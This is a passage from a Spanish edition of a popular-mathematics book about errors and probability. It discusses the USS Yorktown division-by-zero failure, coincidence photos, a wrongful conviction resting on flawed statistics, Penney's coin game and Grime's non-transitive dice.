errores	matemáticos	que	sin	duda	alguna	deben	ser	fascinantes	nunca	se	han
desclasificado,	 pero	 en	 una	 compañía	 privada	 se	 silencian	 incluso	 muchos
más.	 Por	 lo	 tanto,	me	 veo	 limitado	 a	 hablar	 sobre	 errores	 de	 los	 que	 se	 ha
informado	abiertamente.

En	el	caso	del	USS	Yorktown,	 los	detalles	de	 lo	sucedido	siguen	siendo
un	poco	confusos.	No	está	claro	si	el	barco	 tuvo	que	ser	remolcado	hasta	el
puerto	 o	 si	 finalmente	 recuperó	 la	 potencia	 en	 el	mar.	 Pero	 sí	 que	 sabemos
que	 se	 trató	de	un	 error	debido	 a	una	división	 entre	 cero.	Parece	 ser	que	 el
error	empezó	con	alguien	introduciendo	un	cero	en	alguna	parte	de	una	base
de	datos	(y	la	base	de	datos	lo	consideró	como	número,	no	una	entrada	nula).
Cuando	el	sistema	dividió	por	la	cifra	que	había	en	esta	entrada,	la	respuesta
empezó	 a	 elaborarse	 a	 toda	 prisa	 como	 en	 una	 calculadora	 barata.	 Esto
provocó	 un	 error	 de	 desbordamiento	 cuando	 se	 hizo	 más	 grande	 que	 el
espacio	de	la	memoria	informática	de	su	interior.	Hizo	falta	un	supergrupo	de
errores	matemáticos,	dirigidos	por	la	división	entre	cero,	para	tumbar	todo	un
barco	de	guerra.
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Siete

PROBABILIDAD	Y	ERROR
Los	 sucesos	 poco	 probables	 pueden	 producirse.	 El	 7	 de	 junio	 de	 2016,
Colombia	estaba	 jugado	contra	Paraguay	un	partido	de	 la	Copa	América.	El
árbitro	 lanzó	una	moneda	al	aire	para	ver	qué	equipo	elegía	campo.	Pero	 la
moneda	cayó	perfectamente	sobre	su	canto.	Después	de	un	momento	de	duda
y	de	las	risas	de	los	jugadores	que	estaban	cerca	y	que	vieron	lo	que	sucedió,
el	árbitro	recogió	la	moneda	y	la	lanzó	de	nuevo,	esta	vez	con	éxito.

Reconozco	que	la	hierba	facilita	que	una	moneda	aterrice	sobre	su	canto.
Que	 eso	 ocurra	 sobre	 una	 superficie	 dura	 es	 casi	 imposible.	 Creo	 que	 la
moneda	con	las	probabilidades	más	altas	de	caer	de	canto	es	la	antigua	de	una
libra	del	Reino	Unido	(en	circulación	desde	1983	a	2017),	que	es	la	moneda
para	uso	diario	más	gruesa	que	he	visto	jamás.	Para	comprobar	cuán	probable
es	 que	 caiga	 sobre	 su	 canto,	 me	 senté	 y	 me	 pasé	 tres	 días	 lanzando	 una.
Después	de	diez	mil	intentos,	había	caído	de	canto	catorce	veces.	No	está	mal.
Sospecho	 que	 la	 nueva	 moneda	 de	 una	 libra	 tendrá	 unas	 probabilidades
parecidas,	pero	dejaré	que	sea	otro	el	que	haga	esos	diez	mil	lanzamientos.

Para	algo	mucho	más	delgado	como	es	el	nickel	estadounidense,	sospecho
que	harán	falta	decenas	de	miles	de	lanzamientos	para	conseguir	un	solo	caso
exitoso.	Pero	sigue	siendo	posible.	Si	quiere	que	algo	improbable	ocurra,	solo
necesita	 la	 paciencia	 necesaria	 para	 crear	 las	 suficientes	 oportunidades	 que
permitan	que	eso	ocurra.	O,	en	mi	caso,	paciencia,	una	moneda,	un	montón	de
tiempo	libre	y	esa	clase	de	personalidad	obsesiva	que	hace	que	estés	sentado
en	 una	 habitación	 lanzando	 una	 moneda	 al	 aire	 tú	 solo,	 a	 pesar	 de	 las
desesperadas	súplicas	de	amigos	y	familiares	para	que	lo	dejes.

A	 veces,	 la	 repetición	 de	 intentos	 no	 es	 algo	 tan	 obvio.	 Una	 de	 mis
fotografías	 favoritas	 de	 todos	 los	 tiempos	 es	 la	 de	 alguien	 llamada	 Donna,
tomada	 en	 1980	 cuando,	 de	 niña,	 visitaba	 Disney	 World.	 Muchos	 años
después,	 estaba	 a	 punto	 de	 casarse	 con	 su	 ahora	 marido,	 Alex,	 y	 estaban
mirando	 los	 viejos	 álbumes	 familiares	 de	 fotos.	 Donna	 le	 enseñó	 su	 foto	 a
Alex,	quien	se	percató	de	que	una	de	las	personas	que	aparecían	en	el	fondo
empujando	un	 carrito	de	bebé	 era	 su	padre.	Y	 sí,	 era	 su	padre.	 ¡Y	él	 era	 el
niño	que	 iba	en	el	 carrito!	Donna	y	Alex	 se	habían	 fotografiado	 juntos,	por
casualidad,	quince	años	antes	de	coincidir	de	nuevo	y	finalmente	casarse.
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Obviamente,	esto	atrajo	la	atención	de	los	medios	de	comunicación:	tenía
que	 ser	 el	 destino	 el	 que	 provocó	 que	 se	 hubieran	 fotografiado	 juntos.
¡Estaban	 destinados	 a	 casarse	 entre	 ellos!	 Pero	 no	 es	 el	 destino;	 solo	 son
estadísticas.	 Es	 como	 lanzar	 una	moneda	 al	 aire	 y	 que	 esta	 caiga	 sobre	 su
canto.	Las	probabilidades	de	que	eso	ocurra	son	increíblemente	bajas,	pero	si,
heroicamente,	lo	intenta	las	suficientes	veces,	puede	estar	casi	seguro	de	que
acabará	ocurriendo.

La	coincidencia	es	casi	tan	increíble	como	que	alguien	quiera	la	foto	que	le	han	hecho	con	Smee.

Las	 probabilidades	 de	 que	 cualquier	 pareja	 sea	 fotografiada	 junta	 por
casualidad	 durante	 su	 juventud	 son	 increíblemente	 pequeñas.	 Pero	 no	 son
cero,	 y	 creo	 que	 son	 lo	 suficientemente	 grandes	 para	 que	 no	 nos
sorprendamos	 cuando	 ocurre.	 Piense	 en	 cuántas	 personas	 desconocidas	 «al
azar»	aparecen	en	fotografías	suyas.	¿Cientos?	¿Miles?	Ahora	que	 todos	 los
móviles	tienen	cámara,	no	creo	que	sea	exagerar	si	decimos	que	una	persona
joven	 de	 hoy	 en	 día	 puede	 haber	 sido	 fotografiada	 junto	 a	 diez	 personas
diferentes	al	azar	por	 semana.	Eso,	a	 los	veinte	años,	 son	diez	mil	personas
con	las	que	comparte	fotografías.	Por	supuesto,	debe	haber	algún	requisito	y
no	 todos	 los	que	aparecen	en	el	 fondo	de	 las	 fotos	son	alguien	con	quien	 te
podrías	 casar.	 Así	 pues,	 seamos	 conservadores	 y	 digamos	 que	 un	 humano
medio	habrá	sido	fotografiado	con	al	menos	unos	pocos	cientos	de	personas
con	las	que	potencialmente	se	podría	casar.

La	 probabilidad	 de	 que	 una	 persona	 específica	 tenga	 una	 relación	 seria
con	una	 de	 esos	 pocos	 cientos	 de	 personas	 es	 increíblemente	 pequeña.	Hay
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otros	miles	de	millones	de	personas	en	el	mundo	con	 las	que	poder	casarse.
La	probabilidad	de	 llegar	a	casarse	con	una	de	esas	parejas	es	de	cien	entre
miles	de	millones	de	parejas	potenciales.	No	son	muchas.	Son	comparables	(si
no	peores)	a	la	probabilidad	de	ganar	la	lotería.	Y,	del	mismo	modo	que	por
ganar	la	 lotería,	personas	como	Donna	y	Alex	deberían	estar	alucinando	por
lo	afortunadas	que	son.

Pero,	 como	ocurre	 con	 la	 lotería,	no	nos	debería	 sorprender	que	alguien
resulte	afortunado.	A	usted	le	parece	increíble	ganar	la	lotería,	pero	no	lo	es
que	alguien	la	gana.	Nunca	leerá	titulares	de	periódicos	diciendo	cosas	como:
«¡Increíble!	¡Esta	semana	volvió	a	haber	un	ganador	de	la	lotería!».	Al	jugar
tanta	gente,	no	es	sorprendente	que	haya	ganadores	de	manera	regular.

No	nos	habríamos	fijado	en	Donna	y	Alex	si	esta	coincidencia	no	hubiera
sucedido.	Son	dos	personas	 aleatorias	 que	viven	 en	Norteamérica.	Solo	nos
preocupamos	 por	 ellos	 porque	 existe	 esta	 fotografía.	 Incluso	 aunque	 las
posibilidades	de	que	esto	le	ocurriera	a	usted	pudieran	ser	solo	de	cien	entre
miles	de	millones,	siguen	existiendo	miles	de	millones	de	personas	a	las	que
les	podría	ocurrir.	Pienso	que	la	población	con	la	que	una	persona	se	podría
casar	y	la	población	a	la	que	esto	le	podría	ocurrir	se	contrarrestan.	Según	mi
lógica,	 en	 toda	 población	 podríamos	 esperar	 que	 hubiera	 tantas	 «fotos
milagro»	como	esta	como	el	número	de	veces	que	calculamos	que	la	persona
media	 de	 esa	 población	 ha	 sido	 fotografiada	 con	 extraños.	 Debería	 haber
cientos	de	fotos	como	esa	por	ahí.

Puse	 a	 prueba	 esta	 teoría	 cuando	 estaba	 de	 gira	 en	 2013	 con	 mi
espectáculo	Matt	Parker:	Number	Ninja.	Conté	la	historia	de	Donna	y	Alex	y
dije	 que	 debería	 haber	más	 extrañas	 coincidencias	 como	 esa.	 Y,	 en	 efecto,
después	de	uno	de	 los	espectáculos,	alguien	me	habló	sobre	un	caso	similar
que	 le	 había	 ocurrido	 a	 un	 amigo.	 Tampoco	 era	 una	 gira	 mundial	 ni	 nada
parecido:	 fueron	 unos	 veinte	 programas	 con	 un	 público	 total	 de	 puede	 que
cuatro	mil	personas.	Y,	aun	así,	pude	encontrar	un	nuevo	ejemplo	gracias	a
una	de	las	personas	del	público.

Kate	 y	 Chris	 se	 conocieron	 cuando	 estudiaban	 en	 la	 Universidad	 de
Sheffield,	en	1993,	y	pocos	años	después	decidieron	dar	la	vuelta	al	mundo.
Pasaron	un	tiempo	en	una	granja	en	 la	parte	occidental	de	Australia	que	era
propiedad	de	Jonny	y	Jill,	parientes	 lejanos	de	Kate	(el	pariente	común	más
cercano	 era	 el	 tatarabuelo,	 pero	 las	 familias	 habían	mantenido	 el	 contacto).
Jill	 sacó	 un	 álbum	de	 fotos	 del	 único	 viaje	 que	 había	 realizado	 a	 Inglaterra
porque	en	él	había	una	foto	tomada	en	algún	lugar	que	no	sabía	identificar.
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Al	 resto	 de	 fotos	 del	 álbum	 les	 había	 puesto	 una	 etiqueta	 en	 la	 que
especificaba	 dónde	 fueron	 tomadas,	 pero	 esta	 era	 la	 única	 de	 la	 que	 Jill
desconocía	la	localización.	Se	la	enseñó	a	la	pareja	y	Chris	reconoció	que	se
trataba	de	Trafalgar	Square	en	Londres.	Y	añadió:	«¡Caray!	Ese	tipo	se	parece
a	mi	padre.	Y	esa,	se	parece	a	mi	madre.	Y	esa,	a	mi	hermana.	Y	ese,	soy	yo».
La	 foto	 había	 sido	 tomada	 en	 una	 de	 las	 dos	 únicas	 visitas	 que	 realizó	 a
Londres	durante	su	infancia.

Imagínese	atravesar	medio	mundo	solo	para	ser	recordado	por	lo	que	llevaba	puesto	de	adolescente.

Kate	y	Chris	llevan	ahora	ya	dos	décadas	juntos	y	contaron	la	historia	de
la	fotografía	en	su	boda	como	prueba	de	que	estaban	destinados	a	estar	juntos.
Creo	que	deberían	 saber	que	es	asombroso	que	 tengan	una	 fotografía	y	una
historia	 con	 estas.	 La	 mayoría	 de	 nosotros	 no	 las	 tenemos.	 Pero	 no
deberíamos	asombrarnos	de	que	le	suceda	a	alguien.

Un	pensamiento	un	poco	triste	añadido:	no	se	olvide	de	que,	por	cada	foto
de	 este	 tipo	 que	 se	 encuentra,	 hay	 muchas	 más	 que	 pasan	 inadvertidas.	 Y
muchas,	 muchas	 más	 que	 estuvieron	 a	 punto	 de	 ser	 tomadas,	 pero	 alguien
disparó	 un	 poquito	 antes	 o	 después	 del	 momento	 perfecto.	 No	 se	 sienta
decepcionado	 por	 no	 tener	 una	 de	 estas	 fotos	milagrosas:	 hágalo	 porque	 es
mucho	más	probable	que	haya	pasado	junto	a	una	futura	pareja	sin	ni	siquiera
haberse	dado	cuenta	de	ello.
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Asimismo,	solo	porque	algo	ocurra	una	vez	no	significa	que	sea	probable	que
vuelva	a	ocurrir.	Puede	haber	 sido	 solo	una	observación	afortunada	de	un	 suceso
poco	probable.	Hubo	un	concurso	que	duró	poco	en	el	Reino	Unido	hace	unos	años
que	se	basaba	en	fundamentos	matemáticos	inciertos	y	en	los	que	la	primera	prueba
salió	bien	por	casualidad.	No	diré	el	nombre	del	programa	ni	del	matemático	amigo
de	un	amigo	mío	que	era	el	asesor,	pero	vale	la	pena	contar	la	historia.

En	 el	 concurso,	 cada	 participante	 tenía	 como	 objetivo	 ganar	 una	 cantidad	 de
dinero	 asignada	 como	 premio,	 y	 para	 ello	 tenía	 que	 superar	 un	 proceso	 bastante
enrevesado.	 Cuando	 el	 asesor	 matemático	 hizo	 los	 números,	 descubrió	 que	 los
resultados	de	cada	juego	estaban	determinados	casi	por	completo	por	el	tamaño	del
objetivo.	Si	el	objetivo	era	demasiado	alto,	había	muy	pocas	posibilidades	de	que	el
concursante	ganara,	incluso	aunque	se	utilizara	una	estrategia	óptima.	Si	el	objetivo
era	bajo,	el	concursante	ganaría	fácilmente.	No	era	muy	divertido	ver	un	concurso
en	el	que	la	estrategia	utilizada	por	el	concursante	no	influía	en	el	resultado.

Sin	embargo,	los	productores	decidieron	ignorar	las	matemáticas.	Uno	de	ellos
dijo	que	había	probado	el	 juego	hacía	poco	en	una	 reunión	 familiar	 en	 la	que	 su
abuela	se	 lo	pasó	muy	bien	 jugando	y	en	el	que	además	ganó	 las	cantidades	más
altas	 unas	 cuantas	 veces.	 ¿Y	 a	 quién	 tendríamos	 que	 creer?	 ¿A	 un	 análisis
comprensivo	de	 las	probabilidades	y	de	 los	resultados	esperados	del	concurso	o	a
unas	 pocas	 partidas	 jugadas	 por	 la	 abuela	 de	 alguien?	Ellos	 se	 decantaron	 por	 la
abuelita	 y	 el	 programa	 se	 canceló	 a	 mitad	 de	 temporada	 después	 de	 que	 se
emitieran	solo	los	primeros	episodios	porque	nadie	ganó	el	premio	más	elevado.

Por	 lo	 que	 resulta	 que	 la	 estrategia	 óptima	 es	 escuchar	 a	 los	 consejeros
matemáticos	que	has	contratado	para	que	calculen	las	probabilidades	por	ti.	Porque
puede	que,	simplemente,	lo	que	ocurra	sea	que	tienes	una	abuela	muy	afortunada.

Un	error	estadístico	grave

En	 1999,	 una	 mujer	 británica	 fue	 sentenciada	 a	 cadena	 perpetua	 por	 los
asesinatos	 de	 dos	 de	 sus	 hijos.	 Sin	 embargo,	 las	 dos	muertes	 podrían	 haber
sido	 completamente	 accidentales:	 cada	 año,	mueren	 en	 el	Reino	Unido	 casi
trescientos	 bebés	 de	 forma	 inesperada	 por	 el	 llamado	 síndrome	 de	 muerte
súbita	del	lactante	(SMSL).	Durante	el	juicio,	el	jurado	tuvo	que	decidir	si	era
culpable	de	asesinato	más	allá	de	toda	duda	razonable.	¿Fue	ella	la	homicida
o	la	víctima	de	este	caso	tan	impactante?	Al	jurado	le	presentaron	estadísticas
que	parecían	implicar	que	el	hecho	de	que	los	dos	hermanos	hubieran	muerto
debido	al	SMSL	era	muy	poco	probable.	El	veredicto	fue	de	culpabilidad	(con
una	mayoría	de	diez	a	dos),	pero	la	condena	de	la	acusada	fue	revocada	más
adelante.

En	 el	 juicio	 se	 presentaron	 estadísticas	 erróneas	 que	 dieron	 la	 falsa
impresión	de	que	había	tan	solo	un	0,0000014%	de	probabilidades	(alrededor
de	una	entre	73	millones)	de	que	dos	bebés	de	una	misma	 familia	murieran
por	 culpa	 del	 SMSL.	 La	 Royal	 Statistical	 Society	 afirmó	 que	 no	 existía
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«ninguna	base	estadística»	que	respaldara	esta	cifra	y	se	mostraba	preocupada
por	el	«mal	uso	de	las	estadísticas	en	los	tribunales	de	justicia».

Después	 de	 la	 segunda	 apelación,	 presentada	 en	 2003,	 la	 sentencia	 fue
anulada	 cuando	 la	 mujer	 ya	 había	 pasado	 tres	 años	 en	 la	 cárcel.	 ¿Cómo
pudieron	 las	 matemáticas	 equivocarse	 tanto	 para	 condenar	 a	 una	 mujer
inocente?	La	acusación	había	aceptado	que	la	probabilidad	de	la	muerte	súbita
del	 lactante	 en	 una	 familia	 como	 la	 de	 esta	mujer	 era	 de	 una	 entre	 8.543	y
multiplicó	1⁄8.543	por	1⁄8.543	para	calcular	la	probabilidad	de	que	se	produjeran
los	dos	fallecimientos.

Hay	 una	 larga	 lista	 de	 razones	 por	 las	 que	 esto	 no	 es	 correcto,	 pero	 la
principal	 es	que	 las	dos	muertes	 súbitas	de	 lactantes	no	 son	 independientes.
En	matemáticas,	si	dos	sucesos	son	independientes,	se	pueden	multiplicar	sus
probabilidades	 para	 hallar	 la	 probabilidad	 de	 que	 se	 produzcan	 ambos.	 Las
probabilidades	de	sacar	el	as	de	picas	de	un	mazo	de	cartas	son	de	1⁄52	y	las	de
sacar	 cara	 cuando	 tiras	 una	moneda	 al	 aire	 son	 de	 ½.	 El	 hecho	 de	 tirar	 la
moneda	 no	 afecta	 de	 ninguna	 manera	 a	 la	 baraja	 de	 cartas,	 por	 lo	 que
podemos	multiplicar	 1⁄52	 por	 ½	 para	 obtener	 la	 probabilidad	 combinada	 de
que	sucedan	ambas	cosas,	en	este	caso	1⁄104.

Si	 dos	 sucesos	 no	 son	 independientes,	 nada	 de	 lo	 dicho	 anteriormente
sirve.	O	al	menos,	hay	que	reexaminarlo	minuciosamente.	Menos	del	1%	de
la	población	de	Estados	Unidos	es	más	alta	de	190	centímetros.	Por	lo	que,	si
escogemos	personas	al	 azar	 en	Estados	Unidos,	menos	de	uno	de	cada	cien
tendrá	 esa	 estatura.	 Pero	 si	 elegimos	 al	 azar	 un	 jugador	 de	 baloncesto
profesional	de	la	NBA,	la	probabilidad	es	muy	diferente.	La	altura	y	jugar	al
baloncesto	profesional	están	vinculados:	el	75%	de	los	jugadores	de	la	NBA
sobrepasan	esa	estatura.	Las	probabilidades	cambian	si	un	factor	relacionado
ya	ha	sido	seleccionado.	En	el	SMSL	intervienen	posibles	factores	genéticos
y	ambientales,	por	lo	que	la	probabilidad	de	que	suceda	en	una	familia	que	ya
ha	 padecido	 una	 tragedia	 como	 esa	 será	 diferente	 a	 la	 probabilidad	 de	 la
población	en	general.

Y	las	probabilidades	que	no	son	independientes	no	se	pueden	multiplicar
entre	sí	para	obtener	la	probabilidad	combinada.	Alrededor	del	0,00016%	de
las	personas	que	viven	en	Estados	Unidos	juega	en	la	NBA	(522	jugadores	en
la	temporada	2018-2019	frente	a	una	población	de	327	millones).	Multiplicar
ingenuamente	 esa	 cifra	 por	 el	 1%	 de	 probabilidades	 de	 medir	 más	 de	 190
centímetros	da	una	probabilidad	combinada	de	uno	por	cada	63	millones	de
que	 un	 miembro	 aleatorio	 de	 la	 población	 juegue	 en	 la	 NBA	 y	 tenga	 esa
estatura.	Pero	esas	probabilidades	no	son	independientes,	y	la	cifra	incorrecta
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refleja	incorrectamente	que	es	mucho	menos	probable	de	lo	que	realmente	es.
La	probabilidad	real	es	una	entre	830.000.

Al	jurado	le	dijo	un	testigo	experto	que	la	probabilidad	combinada	de	que
se	 produzcan	 dos	 casos	 de	 SMSL	 en	 la	 misma	 familia	 era	 una	 entre	 73
millones,	 por	 lo	 que	 condenaron	 a	 una	mujer	 que	más	 tarde	 fue	 exonerada.
Ese	testigo	experto	fue	hallado	culpable	de	conducta	profesional	indebida	por
el	 Consejo	 Médico	 General	 por	 insinuar	 incorrectamente	 que	 las	 muertes
fueron	independientes.

Comprender	 el	 tema	 de	 las	 probabilidades	 es	 complicado	 para	 los
humanos.	Pero	en	casos	de	alto	riesgo	como	este,	tenemos	que	hacerlo	bien.

Monedas	y	dados	al	aire

Es	fácil	engañar	a	los	humanos	con	las	probabilidades.	Los	siguientes	son	dos
juegos	en	 los	que	 la	gente	se	equivoca	sistemáticamente.	No	dude	en	usarlo
para	engañar	a	cualquier	humano	de	su	elección.

El	 primero	 está	 basado	 en	 el	 lanzamiento	 (completamente	 justo)	 de	 una
moneda.	En	este	caso,	«justo»	significa	que	 las	caras	y	 las	cruces	 tienen	 las
mismas	probabilidades	(si	cayera	de	canto	habría	que	volverla	a	lanzar).	Por
lo	que,	si	la	apuesta	es	que	la	moneda	le	saldrá	cara	(C)	a	usted	y	cruz	(X)	a
mí,	 podemos	 asegurar	 que	 es	 completamente	 justa:	 ambos	 tenemos	 las
mismas	probabilidades	 de	ganar.	Pero	un	 solo	 lanzamiento	 es	 aburrido.	Así
que	 hagámoslo	más	 interesante.	Apostemos	 tres	 lanzamientos	 seguidos;	 por
ejemplo,	usted	apuesta	CXC	y	yo	XCC.	A	continuación,	lanzamos	la	moneda
repetidas	veces	hasta	que	se	produzca	una	de	esas	secuencias.	¿No	le	gusta	su
predicción	 de	 CXC?	 No	 pasa	 nada.	 Elija	 cualquier	 opción	 de	 las	 ocho
posibles	que	aparecen	abajo	y	junto	a	ella	verá	cuál	es	la	mía.	Empezamos	a
lanzar	la	moneda.	Si	yo	gano,	asegúrese	de	pagarme.
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Usted Yo Nada	que	rascar

CCC XCC 12,5%

CCX XCC 25%

CXC CCX 33,3%

CXX CCX 33,3%

XCC XXC 33,3%

XCX XXC 33,3%

XXC CXX 25%

XXX CXX 12,5%

A	la	derecha	puede	ver	una	lista	de	porcentajes.	No	hay	necesidad	alguna
de	que	se	preocupe	de	esa	columna.	Son	tan	solo	las	probabilidades	que	hay
de	que	usted	gane.	Se	habrá	dado	cuenta	de	que	todas	ellas	están	por	debajo
del	50%.	Sin	embargo,	mientras	usted	elija	primero,	siempre	podré	hacer	una
predicción	 que	 tenga	 más	 probabilidades	 de	 ser	 la	 ganadora.	 El	 mejor
escenario	para	mí	es	cuando	mi	oponente	siempre	opta	por	 la	misma,	o	sea,
CCC	o	XXX,	lo	que	le	otorga	un	12,5%	de	posibilidades	de	ganar	y	a	mí	un
87,5%.	 Incluso	 si	 supongo	 que	mi	 oponente	 elige	 su	 secuencia	 al	 azar,	 por
término	medio	tengo	un	74%	de	posibilidades	de	ganar.

La	primera	vez	que	vi	este	juego,	mi	limitado	cerebro	no	le	vio	el	sentido.
Cada	 lanzamiento	 de	 la	 moneda	 era	 independiente,	 aunque	 algo	 extraño
ocurría	con	las	predicciones	de	tres	lanzamientos	seguidos.	El	secreto	está	en
el	 hecho	 de	 que	 la	 moneda	 se	 lanza	 continuamente	 hasta	 que	 una	 de	 las
secuencias	 predichas	 se	 produce.	 Si	 la	 moneda	 se	 lanzase	 tres	 veces	 para
obtener	 un	 resultado	 y	 luego	 se	 volviese	 a	 tirar	 tres	 veces	 para	 obtener	 el
siguiente,	los	resultados	finales	serían	independientes.	Pero,	si	los	dos	últimos
lanzamientos	 de	 un	 turno	de	 tres	 forman	 los	 dos	 primeros	 lanzamientos	 del
siguiente	 resultado,	 los	 resultados	 se	 superponen	 entre	 sí	 y	 ya	 no	 son
independientes.
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Fíjese	en	mis	predicciones:	mis	dos	últimas	elecciones	son	las	mismas	que
las	 dos	 primeras	 de	mi	 oponente.	Mi	 objetivo	 es	 bloquearle	 el	movimiento.
Está	claro	que	un	 jugador	podría	ganar	 los	 tres	primeros	 lanzamientos	de	 la
moneda	(un	12,5%	de	probabilidades	para	cada	persona),	pero	después	de	que
la	serie	ganadora	de	caras	y	cruces	fuera	precedida	por	una	serie	de	tres	que	se
superponga	con	ella.	Yo	quiero	elegir	ese	grupo	precedente.	Para	algo	como
XXX,	 o	 tenían	 que	 ser	 los	 tres	 primeros	 lanzamientos	 o	 sin	 duda	 serían
vencidos	 por	 CXX,	 que	 aparece	 justo	 antes.	 Una	 secuencia	 de	 tres	 cruces
siempre	tendrá	una	cara	justo	antes	que	ella,	lo	que	hace	que	CXX	vaya	antes
que	XXX.	El	juego	está	amañado.	Este	es	un	juego	conocido	como	juego	de
Penney	 y	 se	 ha	 utilizado	 para	 separar	 a	 los	 humanos	 de	 su	 dinero	 durante
años.

La	gente	cae	en	el	juego	de	Penney	porque	todas	las	opciones	de	tres	caras
y	 cruces	 tienen	 una	 combinación	 diferente	 que	 tiene	 más	 posibilidades	 de
ganar.	Es	 inquietante	 que	 no	 exista	 una	mejor	 opción	 para	 elegir	 que	 tenga
más	probabilidades	de	ganar	que	el	resto.	Pero	esa	rareza	concreta	es	la	base
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del	 juego	piedra,	papel	o	 tijera.	Cualquier	opción	elegida	puede	 ser	vencida
por	una	de	las	demás	opciones.

Esta	es	 la	diferencia	entre	 las	relaciones	 transitivas	y	no	transitivas.	Una
relación	transitiva	es	una	que	puede	ser	transmitida	a	lo	largo	de	una	cadena.
El	tamaño	de	los	números	reales	es	transitivo:	si	nueve	es	mayor	que	ocho,	y
ocho	es	mayor	que	siete,	entonces	podemos	suponer	que	nueve	es	mayor	que
siete.	Ganar	 en	 piedra,	 papel	 o	 tijera	 es	 no	 transitivo.	 Las	 tijeras	 vencen	 al
papel	y	el	papel	vence	a	la	piedra,	pero	eso	no	implica	que	las	tijeras	venzan	a
la	piedra.

El	 segundo	 juego	 basado	 en	 las	 probabilidades	 que	 puede	 utilizar	 para
engañar	 a	 los	 humanos	 fue	 inventado	 por	 el	 matemático	 James	 Grime.
Desarrolló	un	conjunto	de	dados	no	 transitivos	que	ahora	 llevan	su	nombre:
dados	de	Grime	(que	acaba	de	convertirse	en	el	segundo	mejor	nombre	para
una	 boy	 band	 que	 aparece	 en	 este	 libro).	 Tienen	 cinco	 colores	 (rojo,	 azul,
verde,	 amarillo	 y	magenta)	 y	 los	 puede	 utilizar	 para	 jugar	 al	 juego	 de	 «El
número	más	 alto	gana».	Usted	y	 su	oponente	 eligen	un	dado	cada	uno	y	 lo
lanzan	 al	mismo	 tiempo	para	 ver	 quién	 saca	 el	 número	más	 alto.	Pero	 para
cada	dado	hay	un	dado	de	otro	color	que	le	ganará	la	mayoría	de	las	veces.

Por	 término	 medio:	 el	 rojo	 gana	 al	 azul;	 el	 azul	 al	 verde;	 el	 verde	 al
amarillo;	el	amarillo	al	magenta	y	el	magenta	al	rojo.	Mi	contribución	al	dado
fue	esperar	a	que	James	averiguara	los	números	y	luego	sugerirle	un	rango	de
colores	que	sirviera	de	ayuda	para	recordar	el	orden	rojo-azul-verde-amarillo-
magenta;	en	 inglés,	cada	color	 tiene	una	 letra	más	que	el	anterior[14].	Ahora
deje	 que	 primero	 su	 oponente	 elija	 su	 color	 y	 luego	 escoja	 el	 dado	 que,	 en
inglés,	tiene	menos	letras	(rojo,	red	en	inglés	tiene	3,	pierde	con	magenta,	que
en	inglés	es	igual	que	en	castellano	y	tiene	7).
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Si	utiliza	estos	dados	para	ganar	rondas	de	bebida	y	dinero	de	sus	amigos
y	 familiares,	 puede	 que	 finalmente	 tenga	 que	 confesarles	 que	 no	 son
transitivos.	 Puede	 que	 incluso	 les	 enseñe	 el	 orden	 de	 los	 dados.	 Pero
sugiérales	 luego	 duplicar	 el	 juego	 y	 lanzar	 dos	 dados	 del	mismo	 color	 a	 la
vez.
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Porque	cuando	los	dados	se	tiran	de	dos	en	dos	se	invierte	el	orden	de	cuál
gana	 a	 cuál.	 En	 lugar	 de	 rojo	 gana	 a	 azul,	 azul	 gana	 ahora	 a	 rojo	 con	más
frecuencia,	 y	 así	 sucesivamente.	 Si	 usted	 va	 primero,	 su	 oponente	 seguirá
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utilizando	el	sistema	que	establecía	el	orden	al	tirar	un	solo	dado	y	elegirá	un
color	que	muy	probablemente	perderá	contra	el	suyo.

Los	 dados	 no	 transitivos	 son	 relativamente	 nuevos	 en	 el	 mundo	 de	 las
matemáticas.	Aparecieron	en	la	escena	matemática	en	la	década	de	1970,	pero
rápidamente	 causaron	 un	 gran	 impacto.	 El	 inversor	multimillonario	Warren
Buffett	 es	un	gran	aficionado	de	 los	dados	no	 transitivos	y	 los	 sacó	cuando
conoció	 al	 también	 multimillonario	 de	 la	 informática	 Bill	 Gates.	 Según
cuentan,	Gates	empezó	a	sospechar	cuando	Buffett	insistió	en	que	él	eligiera
primero	 los	dados,	y,	después	de	una	 inspección	minuciosa	de	 los	números,
insistió	en	que	Buffett	escogiera	primero.	El	vínculo	entre	que	 te	gusten	 los
dados	no	transitivos	y	ser	multimillonario	debe	ser	solo	una	correlación	y	no
una	causalidad.

La	contribución	de	James	Grime	al	mundo	no	transitivo	fue	que	sus	dados
tenían	dos	ciclos	posibles	de	no	transitividad,	pero	con	solo	uno	de	ellos	que
se	 invertía	cuando	duplicabas	el	número	de	dados[15].	Al	 renombrar	el	dado
verde	 a	 «oliva»	 (olive	 en	 inglés),	 el	 segundo	 ciclo	 se	 podía	 recordar	 por	 el
orden	 alfabético	 de	 los	 colores.	 En	 teoría,	 utilizando	 ambos	 ciclos,	 puede
permitir	 que	 otras	 dos	 personas	 escojan	 el	 color	 de	 sus	 dados	 y,	 mientras
usted	 pueda	 elegir	 la	 versión	 que	 se	 juega	 (la	 de	 uno	 o	 la	 de	 dos	 dados),
ganará	a	ambos	oponentes	simultáneamente	más	veces	que	las	que	perderá.

Me	 gustaría	 poder	 decir	 que	 detrás	 de	 todo	 esto	 hay	 unas	 asombrosas
matemáticas,	 pero	 no	 es	 así.	 James	 decidió	 las	 propiedades	 que	 quería	 que
tuvieran	 los	 dados	 y	 se	 pasó	 muchísimo	 tiempo	 averiguando	 qué	 números
permitirían	que	eso	sucediera.	Si	usted	me	diera	dos	dados	diferentes	de	seis
caras	 con	 unos	 números	 elegidos	 por	 usted	 de	 forma	 aleatoria	 entre	 cero	 y
nueve,	yo	podría	encontrar	un	tercer	dado	para	completar	más	de	un	tercio	de
las	veces	un	bucle	no	transitivo.	Las	matemáticas	son	asombrosas	solo	porque
pillan	al	cerebro	humano	con	la	guardia	bajada.	Pero	les	advierto:	los	cerebros
humanos	 son	 rápidos	 a	 la	 hora	 de	 guardar	 rencor	 si	 les	 ganan	 demasiadas
bebidas.

Para	no	ganar	tienes	que	participar

No	hay	nada	que	podamos	hacer	para	incrementar	nuestras	probabilidades	de
ganar	 la	 lotería	 primitiva	más	 que	 comprar	más	 boletos.	Un	momento,	 seré
más	 específico:	 comprar	 más	 boletos	 con	 números	 diferentes.	 Si	 compra
varios	 boletos	 con	 los	 mismos	 números,	 no	 estará	 aumentando	 sus
probabilidades	de	ganar.	Pero	si	gana	con	varios	boletos	y	tiene	que	compartir
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el	premio,	ganará	una	porción	mayor.	Por	lo	que	es	una	forma	de	ganar	más
dinero,	pero	no	de	tener	más	probabilidades	de	hacerlo.

